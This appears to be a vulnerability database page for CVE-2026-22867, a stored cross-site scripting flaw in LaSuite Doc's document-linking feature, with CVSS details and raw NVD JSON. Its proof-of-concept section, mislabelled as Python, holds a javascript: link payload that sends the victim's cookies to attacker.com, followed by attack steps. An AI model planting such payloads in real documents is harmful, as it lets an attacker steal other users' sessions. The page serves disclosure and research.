Security Vulnerability Report
中文
CVE-2026-22867 CVSS 8.7 HIGH

CVE-2026-22867

Published: 2026-01-15 17:16:08
Last Modified: 2026-03-12 17:29:41

Description

LaSuite Doc is a collaborative note taking, wiki and documentation platform. From 3.8.0 to 4.3.0, a Stored Cross-Site Scripting (XSS) vulnerability exists in the Interlinking feature. When a user creates a link to another document within the editor, the URL of that link is not validated. An attacker with document editing privileges can inject a malicious javascript: URL that executes arbitrary code when other users click on the link. This vulnerability is fixed in 4.4.0.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:lasuite:docs:*:*:*:*:*:*:*:* - VULNERABLE
LaSuite Doc >= 3.8.0 且 < 4.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22867 PoC - Stored XSS in LaSuite Doc Interlinking Feature // This PoC demonstrates the vulnerability in the document linking functionality // Malicious URL payload const maliciousUrl = 'javascript:fetch("https://attacker.com/steal?cookie="+document.cookie)'; // Simulate document creation with malicious link function createMaliciousDocument() { const documentContent = { title: 'Normal Document Title', body: 'Please review this important document.', links: [ { text: 'Click here for more information', url: maliciousUrl // Vulnerable: No URL validation } ] }; return documentContent; } // The link will be stored and rendered without proper sanitization // When other users click the link, the JavaScript code executes // Attack scenario: // 1. Attacker with edit privileges creates/edits a document // 2. Attacker inserts a link with javascript: URL // 3. Document is saved to database (persistent storage) // 4. Victim views the document and clicks the link // 5. JavaScript code executes in victim's browser context

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22867", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:07.883", "lastModified": "2026-03-12T17:29:40.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LaSuite Doc is a collaborative note taking, wiki and documentation platform. From 3.8.0 to 4.3.0, a Stored Cross-Site Scripting (XSS) vulnerability exists in the Interlinking feature. When a user creates a link to another document within the editor, the URL of that link is not validated. An attacker with document editing privileges can inject a malicious javascript: URL that executes arbitrary code when other users click on the link. This vulnerability is fixed in 4.4.0."}, {"lang": "es", "value": "LaSuite Doc es una plataforma colaborativa de toma de notas, wiki y documentación. Desde la versión 3.8.0 hasta la 4.3.0, existe una vulnerabilidad de cross-site scripting (XSS) almacenado en la función de interconexión. Cuando un usuario crea un enlace a otro documento dentro del editor, la URL de ese enlace no es validada. Un atacante con privilegios de edición de documentos puede inyectar una URL maliciosa de javascript: que ejecuta código arbitrario cuando otros usuarios hacen clic en el enlace. Esta vulnerabilidad está corregida en la versión 4.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lasuite:docs:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8.0", "versionEndExcluding": "4.3.0", "matchCriteriaId": "256A0A8A-1C97-4FBF-B3D8-0A0B0111B22B"}]}]}], "references": [{"url": "https://github.com/suitenumerique/docs/commit/e807237dbedbc189230296b81c3aeccc1c04fa77", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/suitenumerique/docs/releases/tag/v4.4.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/suitenumerique/docs/security/advisories/GHSA-4rwv-ghwh-9rv6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}